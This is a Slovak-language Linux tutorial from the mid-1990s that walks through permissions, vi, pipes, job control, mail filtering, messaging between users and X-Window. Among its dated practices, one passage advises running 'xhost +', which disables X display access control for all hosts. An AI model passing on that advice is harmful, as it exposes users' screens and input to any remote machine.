Tieto prava sa priraduju aj adresarom, pricom citanie adresara ( adresar je tiez subor ) znamena vypis jeho obsahu ( napriklad prikazom ls ), zapis do adresara znamena moznost menit polozky v adresari - vytvarat nove subory, resp. mazat stare, vykonanie adresara znamena moznost vojst do adresara, resp. prechadzat nim do podadresarov. Pre adresare je mozne pouzivat atribut t, ktory pouzivatelom umozni zapisovat don svoje data ale vymazavat iba svoje data, nie data ostatnych pouzivatelov. Taketo nastavenie ochrannych atributov ma napriklad adresar /tmp.
Obvykle nastavenie domovskeho adresara je
$ ls -ld ~milan drwxr-xr-x 12 milan users 1024 Sep 15 01:00 /home/milan/ $( prikaz ls -d vypise nie obsah adresara, ale informacie o samotnom adresari ), co znamena, ze zapisovat do adresara a mazat polozky v nom moze len vlastnik ( a superuser, ktory moze vsetko ).
Zmenu nastavenia umoznuje prikaz chmod ( CHange the file MODe )
$ chmod u-x,g-r,o+w ~milan $ ls -ld ~milan drw---xrwx 12 milan users 1024 Sep 15 01:00 /home/milan/ $teda vlastnikovi ( user ) sme zakazali menit polozky adresara ( pridavat a uberat subory a podadresare ), skupine ( group ) sme zakazali citat obsah adresara ( smie vsak adresarom prechadzat ) a ostatnym ( others ) sme povolili aj zapis do suborov.
Iny priklad ( obnovime povodny stav )
$ chmod u=rwx,g=rx,o=rx ~milan $ ls -ld ~milan drwxr-xr-x 12 milan users 1024 Sep 15 01:00 /home/milan/ $Zmenit prava mozno aj ciselne, ale tym sa nebudeme zatazovat.
Prave takto sa vyrabaju skripty ( podobne bat suborom v MS-DOSe ). Su to subory, ktore obsahuju prikazy pre shell. Subory je potrebne vyrobit textovym editorom ( sluzi na vytvaranie a editaciu ( pozmenovanie ) textovych suborov ).
Skript s nazvom moj_skriptik moze napriklad obsahovat prikazy
echo "Hello, world" pwdSpustime tento skript
$ moj_skriptik bash: ./moj_skriptik: Permission denied $Moj shell /bin/bash mi oznamil, ze subor moj_skriptik nema nastavene prava spustania. Nastavme ich:
$ chmod u+x moj_skriptik $ moj_skriptik Hello, world /home/milan/txt $Subor moj_skriptik je teraz mozne spustit ako by to bol binarny subor.
Linux umoznuje, aby sa programy pri prihlaseni sa pouzivatela do systemu spustali automaticky. Spusta ich shell, ak ich najde v subore .login v pouzivatelskom adresari ( bash ) alebo v subore .tcshrc ( shell tcsh ).
Jednotlive prikazy maju velke mnozstvo volieb, z ktorych vacsinu nikdy nevyuzijete. Popis prikazu si je mozne precitat v anglickom jazyku prikazom man ( man = manual = prirucka prikazu ). Napriklad
$ man lszobrazi manual prikazu ls.
$ man manzobrazi popis samotneho prikazu man. Ovladanie zobrazovania je ako v prikaze more. Znak <medzera> zobrazi dalsiu stranku, znak b predoslu a znak q ukonci pracu programu man. Pokial hladame prikazy pracujuce napriklad s postscriptom, mozeme pouzit prepinac -k:
$ man -k postscript
Editor spustime prikazom
$ vi suborikAk subor s nazvom suborik neexistoval, editor vi ho vytvori. Ak existoval, vypise jeho obsah a mozete zacat editovat.
Editor vi ma 2 mody cinnosti - prikazovy a vkladaci. Prikazovy mod dokaze vymazat riadok prikazom dd, vymazat znak prikazom x alebo ukoncit cinnost editora prikazom :q ( quit ). Editor neukonci svoju cinnost, ak ste subor pozmenili a nezapisali na disk. Mate dve moznosti. Ak subor pred ukoncenim editora chcete zapisat, napiste :w ( write = zapis ) a potom editor ukoncte prikazom :q ( Da sa to aj skombinovat do prikazu :wq ). Ak nechcete zmeneny subor ulozit na disk, napiste :q! Vykricnik donuti editor ukoncit svoju cinnost bez ohladu na neulozenost textu.
Ked chcete vkladat text, musite prejst do vkladacieho rezimu. Prikazom i ( insert = vloz ) zacnete pisat pred aktualnu poziciu kurzora, prikazom a ( append = pripoj ) zacnete pisat za aktualnu poziciu kurzora a prikazom o zacnete pisat na novy riadok.
V textovom rezime mozete vymazavat znaky normalne - klavesou Delete. Novy riadok vlozite klavesou Enter ( resp. Return )
Spat do prikazoveho rezimu sa dostanete klavesou ESCape.
$ ls -l total 159 -rw-r--r-- 1 milan root 423 Jun 26 17:44 poznamky.txt -rw-r--r-- 1 milan users 77939 Sep 15 15:29 sysadmin.txt -rw-r--r-- 1 milan root 1891 Sep 12 16:18 vediet.txt -rw-r--r-- 1 milan users 1295 Aug 27 15:28 vi.txt -rw-r--r-- 1 milan users 76795 Sep 15 15:20 zalohasysadmin.txt $dostaneme privela informacii. Pomoc nam poskytne znak *, ktory zastupuje lubovolny retazec ( aj prazdny ). Ak shell najde v argumente znak *, argument rozpise na vsetky vyhovujuce argumenty. Priklad
$ ls -l *Za * shell dosadi vsetky subory aktualneho adresara a programu ls odovzda argument poznamky.txt vediet.txt zalohasysadmin.txt sysadmin.txt vi.txt a tak interne prikaz
$ ls -l *zameni za
$ ls -l poznamky.txt vediet.txt zalohasysadmin.txt sysadmin.txt vi.txt total 159 -rw-r--r-- 1 milan root 423 Jun 26 17:44 poznamky.txt -rw-r--r-- 1 milan users 77939 Sep 15 15:29 sysadmin.txt -rw-r--r-- 1 milan root 1891 Sep 12 16:18 vediet.txt -rw-r--r-- 1 milan users 1295 Aug 27 15:28 vi.txt -rw-r--r-- 1 milan users 76795 Sep 15 15:20 zalohasysadmin.txt $Ak chceme vypisat len subory zacinajuce pismenom v, napiseme
$ ls -l v* -rw-r--r-- 1 milan root 1891 Sep 12 16:18 vediet.txt -rw-r--r-- 1 milan users 1295 Aug 27 15:28 vi.txt $Ak chceme vypisat subory len s presnym poctom znakov na urcitej pozicii, pouzijeme znak ?. Prikaz
$ ls -l v?????.txt -rw-r--r-- 1 milan users 1295 Aug 27 15:28 vi.txt $vypise iba udaje o suboroch zacinajucich pismenom v nasledovanom piatimi lubovolnymi znakmi a konciacim znakovym retazcom ( zoskupenim znakov ) .txt. Ak nam nevyhovuje, ze ? nahradzuje lubovolny znak, pouzijeme namiesto ? hranate zatvorky s vymenovanim pismen, ktore smie znak na tejto pozicii obsahovat. Ak nasleduje niekolko pismen abecedne za sebou, staci uviest iba pociatocne a koncove pismeno oddelene pomlckou. Tu su priklady zlozitejsich kombinacii prikazov:
$ ls -l v[acfi]* -rw-r--r-- 1 milan users 1295 Aug 27 15:28 vi.txt $ ls -l v[a-e]* -rw-r--r-- 1 milan users 1295 Aug 27 15:28 vi.txt $ ls -l v[c-fh-j]* -rw-r--r-- 1 milan root 1891 Sep 12 16:18 vediet.txt -rw-r--r-- 1 milan users 1295 Aug 27 15:28 vi.txt $
$ date Sun Sep 15 15:46:34 GMT+0100 1996 $Prikaz time prikaz odmeria dobu trvania prikazu prikaz
$ time date 0.00user 0.03system 0:00.03elapsed 100%CPU (0avgtext+0avgdata 0maxresident)k 0inputs+0outputs (0major+0minor)pagefaults 0swaps $Vykonanie prikazu bolo take rychle, ze trvalo 0.03 sekundy. System oddeluje cas, ktory potreboval sam pre seba, ktory spotrebuju pouzivatelia a realny cas ( elapsed ). Dalsie informacie pre nas zatial nie su zaujimave.
Mimochodom, 0 swaps hovori, ze pri vykonavani programu nam pamat stacila, a teda system nemusel najmenej pouzivane casti pamate swapnut na disk.
Blizsie informacie o dostupnej pamati nam poskytne prikaz free
$ free total used free shared buffers Mem: 7108 5812 1296 3940 3348 -/+ buffers: 2464 4644 Swap: 32220 0 32220 $ktory hovori, ze mam 7108 KB pamati ( v skutocnosti mam 8192, ale priblizne 1 MB zabera jadro, ktore je vzdy pritomne, neswapuje sa a do volnej pamati sa nezaratava ). Mam pouzitych 5812 KB RAM a volnych 1296 KB. Riadok Swap: hovori, ze mam 32 MB swap a system ho v tejto chvili nevyuziva.
Prikaz ps, resp. ps -aux poskytuje informacie o procesoch v pamati (ps = processes)
$ ps PID TTY STAT TIME COMMAND
66 v01 S 0:00 -bash 171 v02 S 0:00 -bash 199 v01 S 0:00 vi sysadmin.txt 215 v02 R 0:00 ps $kde PID je Process IDentification number ( identifikacne cislo procesu ), TTY je terminal, na ktorom bol dany proces spusteny, STAT je stav programu, TIME je doteraz spotrebovany procesorovy cas a COMMAND je prikaz, ktorym bol program spusteny.
Vsetky informacie dohromady poskytuje prikaz top, ktory kazdych 5 sekund obnovuje vypis informacii.
Prikaz find najde subor podla mena
$ find /adresar1 /adresar2 -name subor1 -printHladame subor s nazvom subor1 ( prepinac -name subor1 ), pricom od programu find pozadujeme, aby vypisal jeho uplne meno aj s cestou ( -print; v novsich systemoch netreba uvadzat) ) a aby hladal v adresaroch /adresar1 a /adresar2.
V Linuxe existuje prikaz locate
$ locate subor1ktory je omnoho rychlejsi. Neprehladava disk, ale specialny subor, ktory obsahuje umiestnenie suborov na disku. Dolezite je, aby superuzivatel prikazom
# updatedb #z pravidelne tuto tabulku obnovoval. Je vhodne nastavit jej obnovovanie prikazom crontab. Po standardnej instalacii je nastavene automaticke obnovovanie raz denne rano o 7:40, takze tento prikaz je potrebne zadavat len vtedy, ak system nebezi 24 hodin denne. Inou moznostou je zmenit poinstalacne nastavenie na nejaky vhodnejsi cas, kedy byva stroj zapnuty. Ja som to zmenil na automaticke updatovanie kazdu hodinu.
# cat suborik.txt > /dev/lp #alebo (ak /dev/lp neexistuje)
# cat suborik.txt > dev/lp1 #ak nemate nainstalovane programy lpr resp. lp. Ak ich nainstalovane mate, je to pohodlnejsie, lebo mozete tlacit aj ako obycajny pouzivatel takto:
$ lpr suborik.txt $Tlacit PostScriptovy subor (s koncovkou .ps) mozete aj na tlaciarni postscript nepodporujucej ako root takto:
# gs -dNOPAUSE -sDEVICE=epson -sOutputFile=/dev/lp1 -r360x180 suborik.ps #a ak mate nainstalovany program lpr, tak ako obycajny pouzivatel takto
$ gs -dNOPAUSE -sDEVICE=epson -r360x180 -sOutputFile|lpr suborik.ps $Pozor. Zariadenie sDEVICE (standardne zariadenie) je zariadenie, na ktorom sa Vam vystupny subor v grafickej forme zobrazi. Ak ho neuvediete, zobrazi sa na monitore. Tlac suboru .ps na laserovej tlaciarni je mozna priamo
$ lpr suborik.ps $U inych tlaciarni treba zadat -sDEVICE=epson alebo -sDEVICE=deskjet. Prepinac -r360x180 hovori, ake ma byt rozlisenie (kvalita tlace) vystupu z tlaciarne (resp. na monitore). U 9 ihlickovej tlaciarne je standard 60x72 DPI a maximalne z nej dostanete 240x72 DPI. Rozlisenie 360x180 je maximalne na tlaciarni 24 ihlickovej. Ak prepinac -r neuvediete, zvoli sa pre epson dost slabe rozlisenie 60x72. Budete sa asi musiet trochu s tym pohrat. Nebojte sa experimentovat.
Postscript umoznuje na monitore citat prikaz
$ gs suborik.ps $Ak program gs vypise asi takuto hlasku:
Initializing... gs: Cannot open X display `(null)'.
Asi ste instalovali aj citac postscriptov pod X-Window (to hovori cast X display). Musite prikazom startx spustit graficku nadstavbu Linuxu zvanu X-Window (ak uz nebezi na inom terminale) a tam spustit program ghostview. Binarny subor /usr/bin/gs bol totiz pri instalacii prepisany inym vykonatelnym suborom, ktory treba spustat pod systemom X-Window.
$ pstops "4:0L@.7(21cm,0)+1L@.7(21cm,14.85cm),2R@.7(0,29.7cm)+3R@.7(0,14.85cm)" vstup.ps vystup.ps $
$ kill 199 $ ps PID TTY STAT TIME COMMAND 66 v01 S 0:00 -bash 171 v02 S 0:00 -bash 215 v02 R 0:00 ps $Shelly umoznuju spustit proces na pozadi. Naco je to dobre ? Mozete spustit viac programov a prepinat sa medzi nimi ( ak nesedite za konzolou ( terminalom pripojenym priamo k pocitacu ) a nemate tak v Linuxe k dispozicii virtualne terminaly ). Teraz pisem tuto prirucku. Mozem pouzit prikaz na spustenie nejakeho prikazu shellu ( umoznuje mi to editor vi, v ktorom pisem ), ale pouzijem radsej moznosti shellu pre pracu s jobmi (job = praca je kazdy proces, ktory ste spustili zo shellu). Stlacim kombinaciu klaves Ctrl-Z
[1]+ Stopped vi ja $a shell POZASTAVIL vykonavanie editora vi a vypisal, ze existuje jeden pozastaveny proces s cislom 1. Ak chcem, aby pokracoval v cinnosti sam ( u textoveho editora = programu na vytvaranie a upravu textov to zmysel nema, ale mozem mat spusteny program, ktory napriklad preklada velky program a vie to robit aj bez mojho zasahu ), napisem
$ bg [1]+ vi ja & $A shell mi oznamil, ze proces 1 bezi na pozadi. Na popredie ho dostanem prikazom fg ( bg = background = pozadie; fg = foreground = popredie ). Pozastavit mozem vzdy len jeden proces, na pozadie mozem hodit lubovolny pocet procesov. Ak je na pozadi len jeden proces, mozem ho vratit do popredia prikazom
$ fgak je vsak procesov viac, mozem ich hodit na popredie iba ak uvediem ich cislo. Prikaz
$ fg 1vrati job 1 na popredie. Proces mozem killnut ( zrusit ) prikazom kill PID. Ak cisla procesov neviem, postacia aj cisla jobov, pomoze prikaz jobs:
$ bg Dame do pozadia proces, ktory sme pred chvilou vratili do popredia. $ jobs [1]- vi ja $ kill %1 $ jobs [1]+ Terminated vi ja $Proces mozeme spustit na pozadi priamo pri jeho spusteni umiestnenim znaku & ( ampresand ) za prikazovy riadok. Priklad
$ ls & [1] 376 $ Mail/ eclipse/ kos/ src/ tmp/ cracking/ jjj ooo tk/ txt/ Stlacil som <ENTER> $
$ ls >ooo $prikaz ls nevypise obsah aktualneho adresara na obrazovku monitora, ale do suboru s nazvom ooo, pricom jeho predchadzajuci obsah sa premaze. Ak nechceme obsah suboru ooo premazat, ale vypis prikazu ls pripojit za obsah suboru, napiseme
$ ls >>ooo $Podobne mozme presmerovat vstup
$ ls -la > ooo $ grep txt < ooo drwxr-xr-x 2 milan root 1024 Sep 15 16:23 txt/ $Tymito prikazmi mozeme najst informacie o adresari txt. Program grep vyhlada riadky obsahujuce retazec ( prvy argument ) v subore ( druhom argumente ) a vypise ich na svoj vystup. Ak druhy argument neexistuje, ocakava vstup z klavesnice - a ten sme mu zadali my. Ak shell najde znak < alebo > alebo >> pred nazvom suboru, subor neodovzda ako argument programu, len prislusnym sposobom presmeruje vstup z klavsnice resp. vystup na monitor. Spusteny program ani nevie, ze ma presmerovany vstup ci vystup. V skutocnosti aj vstup z klavesnice a vystup na monitor sa pre program javia ako vstup ci vystup z/do suboru. Programy casto posielaju svoj vystup na pouzivtelsky terminal reprezentovany specialnym suborom /dev/tty. Ak je jadro poziadane o zapis do tohto suboru, namiesto toho ovladac reprezentovany tymto suborom zapise znaky na pouzivatelsky terminal.
$ cat < subor > /dev/null 2>&1
$Prikaz cat by v tomto pripade nemal vypisat nic. Ako vstup dostane subor s nazvom subor. Vystup bude presmerovany na zariadenie /dev/null, ktore sluzi ako "odpadkovy kos". Mozno don "vyhodit", teda zapisat, akykolvek velky subor a zariadenie zostane prazdne. Pri citani sa chova ako prazdny subor. Ani pripadne chybove hlasenie programu cat, napriklad neexistencia suboru subor, nebude na konzolu vypisane, pretoze shell vyraz 2>&1 pochopil tak, ze chybovy vystup presmeroval na zariadenie /dev/null. Standardny vstup ma totiz pri programovani pridelene cislo 0, standardny vystup 1 a chybovy vystup 2.
$ ls -la > ooo $ grep txt < ooo drwxr-xr-x 2 milan root 1024 Sep 15 16:23 txt/ $umoznuje rura zapisat ako
$ ls -la | grep txt drwxr-xr-x 2 milan root 1024 Sep 15 16:23 txt/ $Program grep tu posobi ako filter, t.j. program, ktory cita vstup, nieco s nim urobi a vypise to na vystup. Dalsie zname filtre su
$ sort suborktory abecedne pretriedi riadky v zadanom subore a zapise ich na vystup a nam uz znamy program more, ktory tiez ak nema argument, cita standardny vstup a strankuje ho.
Pipelineing umoznuje jadro takto: Ak shell po analyze prikazoveho riadku detekuje znak |, spusti dva nezavisle procesy - program pred znakom | a za znakom | ( najprv spusti druhy program a potom prvy, ale to je len poradie spustania, bezat budu sucasne ) a prepoji vystup prveho na vstup druheho volanim funkcie pipe jadra Linuxu. Rury je mozne spajat. Prikaz cat ( concatenate = spoj ) sa casto pouziva na spajanie suborov. Vypise cely subor na obrazovku monitora. Ak mu zadame viac suborov, vypise vsetky zaradom. To sa vyuziva na spajanie suborov takto
$ cat subor1 subor2 > subor3 $Prave na prikaze cat si ukazeme kolonu - spojenie viacerych prikazov rurou.
$ cat subor1 | grep peniaze | moreProgram cat v tejto kolone zobrazi subor1 - posle ho ( nevediac o tom ) na vstup programu grep, ten vo svojom vstupe ( nevediac odkial ho ma ) vyhlada vsetky riadky obsahujuce retazec peniaze a posle ich na svoj vystup presmerovany na standardny vstup programu more. Filter more potom vstup, ktory dostava, po obrazovkach zobrazi na monitore. Hlavnou vyhodou rury je to, ze programy bezia paralelne - netreba cakat na ukoncenie programu cat, kym sa spusti program grep ani na ukoncenie programu grep, kym sa moze spustit program more. Toto bol len priklad, nasledujuce prikazy su ucinkom ekvivalentne
$ cat <subor1 | grep peniaze | more $ cat subor1 | grep peniaze | more $ grep peniaze <subor1 | more $ grep peniaze subor1 | moreExistuje este jeden zaujimavy filter. Ma nazov wc ( word count = spocitaj slova ). Teno program spocita vsetky riadky, slova a znaky daneho suboru alebo presmerovaneho vstupu:
$ wc sysadmin.txt 3826 24159 153444 sysadmin.txt $Najmensie cislo ( 3826 ) udava pocet riadkov v subore sysadmin.txt, vacsie cislo (24159) udava pocet slov a najvacsie cislo (153444) udava pocet znakov. Je mozne vyziadat si len jedno z cisel. Prepinac -l spocita len riadky ( lines ), -w spocita len slova ( words ) a -c znaky ( characters ). Ak nezadame ziaden prepinac, predvolia sa vsetky prepinace. Nasledujuce dva prikazy maju rovnaky ucinok:
$ wc sysadmin.txt 3826 24159 153444 sysadmin.txt $ wc -lwc sysadmin.txt 3826 24159 153444 sysadmin.txt $ wc -clw sysadmin.txt 3826 24159 153444 sysadmin.txt $Ale co ak potrebujeme spocitat pocet stran textu ? Mozeme vychadzat z predpokladu, ze vacsina tlaciaren tlaci 65 riadkov na stranu. Pocet riadkov udanych programom wc teda predelime cislom 65. Tak mozeme zistit, ze v tejto chvili ma subor sysadmin.txt 3826 / 65 = 59 stran. A puntickari mozu zistit, ze na jednu stranu v priemere pripada 410 slov resp. 2607 znakov :-).
Slovensku a cesku narodnu podporu je mozne stiahnut si z
anonymneho servra
ftp.dcs.muni.cz z adresara
/pub/UNIX/localization/linux.
V adresari /pub/UNIX/localization mozno
najst aj dalsi zaujimavy softvare.
$ write csonto Zdravim Vas a prajem prijemny den ! Stlacim Ctrl-D ( citaj kontrol de' ) ^D $Pretoze to umoznuje pisat pouzivatelom priamo na terminal a znervoznovat ich ( kto zabrani neprajnikovi, aby inemu pouzivatelovi neposlal OBROVSKY subor na terminal prikazom
$ write csonto < obrovsky_subor $a tym mu znemoznit pracu ), je moznost zakazat tieto vypisy. Pozrime sa prikazom mesg (message = sprava), ci mame tieto prava zakazane
$ mesg is y $Su nastavene na y ( yes = ano ), su teda povolene. Zakazme ich
$ mesg n $ mesg is n $Obnovit ich mozeme prikazom mesg y. Dalsi, lepsi, program je program talk.
$ talk csontozobrazi pouzivatelovi s pouzivatelskou identifikaciou csonto spravu, ze s nim chcem rozpravat. Ak sa rozhodne si so mnou pokecat, napise
$ talk milana hura - spojenie je naviazane. Ked budeme chciet ukoncit nas pisomny rozhovor stlacime Ctrl-C.
Spravu mozeme poslat aj vsetkym aktualne prihlasenym
pouzivatelom sucasne pomocou prikazu wall. Syntax ma podobnu ako
prikaz write. Vynechavame vsak meno prijimatela spravy, kedze spravu posielame
vsetkym pouzivatelom systemu. Takto zaslat spravu pouzivatelovi, ktory si prijem
sprav zablokoval prikazom mesg
n moze iba superpouzivatel (superuser), t.j.
root.
To: csonto@ccsun.tuke.sknasledujuce volby staci odklepnut klavesou ENTER ( musite vsak zadat Subject = obsah, tato volba sluzi na to, aby citatel vedel, o com vasa sprava pojednava ). Potom sa vyvola editor, napisete spravu a editor ukoncite ZAPISOM spravy. Objavi sa menu - stlacte s ak chcete poslat spravu ( send = posli ) alebo f, ak ste si to rozmysleli ( forget = zabudni ).
Ak nejaku spravu mate, zobrazi sa vam jej subject. Sipkami chodite po spravach, <medzera> alebo <ENTER> Vam dovolia citat ich. Prikazom d ( delete = vymaz ) spravy mazete. Prikazom q program ukoncite.
Prihlasit sa na inom stroji mozete prikazom
$ telnet clinton@hron.fei.tuke.skkde clinton je Vas login na vzdialenom stroji a hron.fei.tuke.sk v nasom priklade je logicka adresa vzdialeneho stroja.
V nazvoch suborov a adresarov sa mozu vyskytovat aj medzery. Mozeme vytvorit adresar s nazvom Toto je pekny adresar
$ mkdir "Toto je pekny adresar" $pravda, ak ho chceme uvadzat v ceste, musi byt v uvodzovkach
$ cd Toto je pekny adresar bash: Toto: No such file or directory $ cd "Toto je pekny adresar" staci napisat cd Tot<TAB> $ pwd /home/milan/Toto je pekny adresar $Ak chcete zmazat obrazovku, ale zachovat obsah prikazoveho riadku, stlacte ^L, t.j. <Ctrl-L>.
1. Vo vasom domovskom adresari vytvorte (pod)adresar s nazvom .elm. Musi zacinat bodkou! Je mozne, ze uz existuje, ak na citanie sprav pouzivate program elm. Novy pokus o vytvorenie nevadi, len UNIX vypise spravu, ze adresar uz existuje:
$ mkdir .elm $2. Vytvorte subor pravidiel (tu nam staci jedno) na presmerovanie posty do foldra s nazvom karmel. Tento subor bude v adresari .elm a bude sa volat filter-rules. Vlozte don riadok
if (from = "karmel") then save "~/Mail/karmel"3. Vo svojom domovskom adresari vytvorte subor s nazvom .forward obsahujuci text
|/usr/bin/filterVzdy, ked vam dojde sprava, najprv sa odovzda programu filter. Ten zisti, ci je nanho aplikovatelne pravidlo zo suboru .elm/filter-rules a podla toho sa chova. Pozor, program filter sa nemusi nachadzat v adresari /usr/bin/filter. V tom pripade vam neostava nic ine, len ho vyhladat prikazom
$ find / -name filter -print | more $a potom uviest spravnu cestu k nemu. No a ako zistime, ci sa program filter nachadza v adresari /usr/bin? Prikaz
$ ls /usr/bin/filter $nesmie skoncit chybovym hlasenim, ale mal by vypisat slovo filter alebo /usr/bin/filter.
Zhrnutie: K uspechu povedu nasledujuce 3 prikazy:
$ mkdir .elm $ echo "if (from = \"karmel\") then save \"~/Mail/karmel\"" > .elm/filter-rules $ echo "|/usr/bin/filter" > .forward $
$ elm $mozete normalne citat spravy. Avsak neuvidite ziadnu novu spravu od odosielatelov s menom karmel (pochybujem, ze by okrem karmel@savba.sk mal este niekto takyto login). Ak chcete citat spravy od karmel@savba.sk, na najvyssej urovni programu elm stlacte klavesu c (skratka pre change folder). Pod riadkom
Command: Change folder (Use '?' for help)sa objavi otazka
Change to which folder:a napiste slovo =karmel. Tym sa prepnete do foldra karmel. Spat do zakladneho foldra sa prepnete podobnym sposobom, klavesou c a potom napisete !. Vykricnik je skratka pre zakladny folder.
ZHRNUTIE: Prepnutie na karmel c =karmel Prepnutie nazad c !Upozornenie: Ak vo foldri karmel nebude ziadna sprava, program elm pri pokuse prepnut sa nan zahlasi chybu. Znamena to len tolko, ze tam v danej chvili nie su ziadne spravy.
$ elm $mozete normalne citat spravy. Avsak neuvidite ziadnu novu spravu od odosielatelov s menom karmel (pochybujem, ze by okrem karmel@savba.sk mal este niekto takyto login). Ak chcete citat spravy z karmel@savba.sk, jednoducho si v menu s nazvom FOLDER-LIST zvolte folder s nazvom karmel. Je tu ale jeden problem, pine nepouziva adresar Mail, ale mail. To znamena, ze pravidlo subor filter-rules musite pozmenit - v slove Mail zamenit velke M na male m. Druhy prikaz pri vytvarani pravidiel teda musi mat tvar
echo "if (from = \"karmel\") then save \"~/mail/karmel\"" > .elm/filter-rulesZakladny folder ma nazov INBOX. Ak sme v lubovolnom foldri, do menu s ponukou vsetkych foldrov sa dostaneme prikazom l.
Zhrnutie: Nazov zakladneho foldra je INBOX Zoznam foldrov zobrazime prikazom l Do hlavneho menu sa dostaneme prikazom m Vsetko ukoncime prikazom q
$ at 7:20 pm spust ^D
$Vsimnite si, ze je najprv potrebne stlacit klavesu <Enter> a az potom napisat, co sa ma v danom case urobit (v uvedenom prikaze sa ma vykonat sada prikazov napisana v subore spust). Program at umoznuje siroku skalu formatov stanovovania casu. Ak napriklad chceme, aby sa prikazy zo suboru subor vykonali o 5 minut, mozeme napisat:
$ at now + 5 minutes < subor > /dev/null 2>&1
$Inou moznostou je pouzitie programu crontab, ktory programy spusta pravidelne (nie iba raz), napriklad kazde 2 hodiny.
$ startxa implicitne sa bude pouzivat 8-bitovy graficky mod ( 28 = 256 farieb ), ak tento mod podporuje graficka karta pocitaca. Ak graficka karta resp. jej ovladac podporuje vacsiu hlbku farieb ( teda viac ako 8 bitov ), mozeme system X-Window spustit prikazom:
$ startx -- -bpp 16ktory spusti GUI so 16 bitovou hlbkou (216 = 65536 farieb). Prikaz
$ startx -- -bpp 24mozeme pouzit pre spustenie GUI s true color grafikou (16 milionov farieb - prave farby pouzivane v MS-DOS a Microsoft Windows), respektive
$ startx -- -bpp 32pre extended true color ("perfektne" farby). Mod s 32 bitovou hlbkou vsak podporuju len niektore graficke karty, napriklad graficke akceleratory s cipom S3. Okrem toho, ovladace nemusia podporovat vsetky mody (hlavne u novsich grafickych kariet). Vacsinou vsak staci pockat na novsiu verziu Linuxu Slakware resp. X-Window, s ktorymi ziskame aj najnovsie ovladace.
Graficke rozlisenia mozeme pocas behu X-Window prepinat kombinaciou klavse 'Ctrl Alt +' a 'Ctrl Alt -'.
V pripade havarie systemu X-Window je mozne ukoncit GUI stlacenim klaves 'Ctrl Alt Backspace'. Klavesa backspace zvykne byt oznacena slovami back, backspace alebo sipkou dolava. Vacsinou byva umiestnena nad velkou klavesou Enter. Nie je to kurzorova sipka dolava !
System X-Window ma na rozdiel od systemov Microsoft Windows ci OS/2 k dispozicii cele mnozstvo manazerov 'okien' - programov zodpovednych za vzhlad Vasej obrazovky - vzhlad okien, manipulaciu s nimi atd. Jednym z najcastejsie pouzivanych je Open Look Virtual Window Manager ( olvwm ). Existuje aj rozhranie fvwm95 - manazer okien podobny rozhraniu Windows '95. Jeho domovska stranka na INTERNETe je:
http://ltiwww.epfl.ch/~barth/fvwm95.htmlPod systemom X-Window mozno mate nainstalovane prezerace www stranok INTERNETu. Najcastejsie to byva program Netscape. Mozte sa pokusit spustit programy 'netscape' ci 'arena'.
$ nohup vas_program & $Tento postup pravdepodobne neuspeje (vyhlasi chyby = errors) v pripade, ze sa pokusate zapisovat na konzolu (terminal napojeny priamo na pocitac) alebo na terminal ineho stroja. Potrebujete, aby ten, kto sedi za danym grafickym terminalom, zapis povolil prikazom na zrusenie ochrany
$ xhost + acces control disabled, clients can connect from any host $Ak potrebujete naopak ochranit svoj terminal pred zobrazovanim cudzich okien a zabranit inym pouzivatelom, aby prikazom xkill vymazavali vase okna (aj to sa da), napiste
$ xhost - acces control enabled, only authorized clients can connect $Pre detailnejsie informacie vas odkazujem na prikaz 'man xhost'.
Ak potrebujete na chvilu odist od terminalu a mate spusteny system X-Window, mozete spustit program xlock. Hladajte v menu, ktore sa objavi po stlaceni jedneho z tlacidiel mysi ( praveho u manazera okien olvwm ci olwm, laveho u fvwm ci fwm ) - skusajte vsetky tlacidla a menu. Tak, ci tak by ste sa mali so systemom X-Window zoznamit metodou pokus-omyl. Nebojte sa experimentovat. Tym som ale uz zasiahol do sieti, ktorym som sa v tejto ucebnici nemienil venovat. Popisme si radsej zabavnejsiu cast Linuxu.
$ tkdesk & $
Prijemne generovanie programov pre X-window v jazyku C umoznuje program xwpe (asi skratka z vyrazu X-Window Programming Environment). Ide o prostredie pripominajuce programovacie prostredia firmy Borland.
Skor, nez zacnete citat dalsiu kapitolu, zodpovedzte ( bez odskusania na pocitaci ) nasledovnu otazku:
Co sposobi prikaz
$ echo *Svoju odpoved zvazte a overte si ju na pocitaci. Ak je chybna, je to znamenie, ze by bolo vhodne precitat si predoslu kapitolu este raz, aj ked uznavam, ze je relativne dlha.
Linux je schopny fyzicku pamat pocitaca rozsirit na virtualnu pamat. To znamena, ze v pripade nedostatku fyzickej pamati dokaze najmenej pouzivane casti fyzickej pamati ukladat na disk do specialneho suboru alebo particie. Ak nejaky program potrebuje cast pamati, ktora nie je momentalne pritomna vo fyzickej pamati, avsak nachadza sa na disku ( Linux ju tam predtym swapol ), jednoducho sa nahra z disku do pamati a vypocet pokracuje.
Vyhoda swapovania je jasna - virtualna pamat Vasho pocitaca je dana suctom velkosti swapovacich particii, swapovacich suborov a fyzickej pamati pocitaca. Pokial mate 2 MB fyzickej pamati, Linux na vasom pocitaci pobezi, avsak nebudete velmi stastni - bude totiz pracovat dost pomaly, pretoze pri spusteni vacsieho programu bude musiet dost vela MB swapovat na disk. Hoci prenosova rychlost ( rychlost citania resp. zapisu ) dnesnych diskov dosahuje az 10 % rychlosti fyzickej pamati, ich pristupova doba sa stale pohybuje na urovni stotin sekundy, co je velmi vela. Pristupova doba je priemerny cas, kym sa hlavicka disku nastavi nad urcitu stopu, kym sa na nej ustali a kym sa rotujuci disk dostane do takej pozicie, ze sa hlavicka disku nachadza presne nad sektorom, ktory treba precitat. Az potom je mozne zacat citat informaciu z disku. Prenosova rychlost disku je rychlost prenosu informacie z disku do operacnej pamati pocitaca. Informacia sa velmi rychlo nacita do vyrovnavacej pamati ( cache ) disku, odtial sa prekopiruje do na to urcenej casti operacnej pamati a az z nej informaciu nacitava CPU (centralny procesor = centralna procesorova jednotka = Central Processor Unit = univerzalny procesor) a umiestnuje ju do tej casti pamate, kde je potrebna Preto nie je vhodne spustat Linux na pocitaci s menej ako 4 MB fyzickej pamati. Pokial chcete pouzivat X-window, pobezi aj so 4 MB pamati, avsak v literature sa udava, ze s 8 MB fyzickej pamati pobezi az 10-krat rychlejsie.
Pokial na Vasom pocitaci pracuje naraz vzdy len jeden clovek a chcete spustat programy pre X-window, literatura odporuca, aby velkost virtualnej ( t.j. suma velkosti fyzickej a swapovacej ) pamati bola aspon 16 MB.
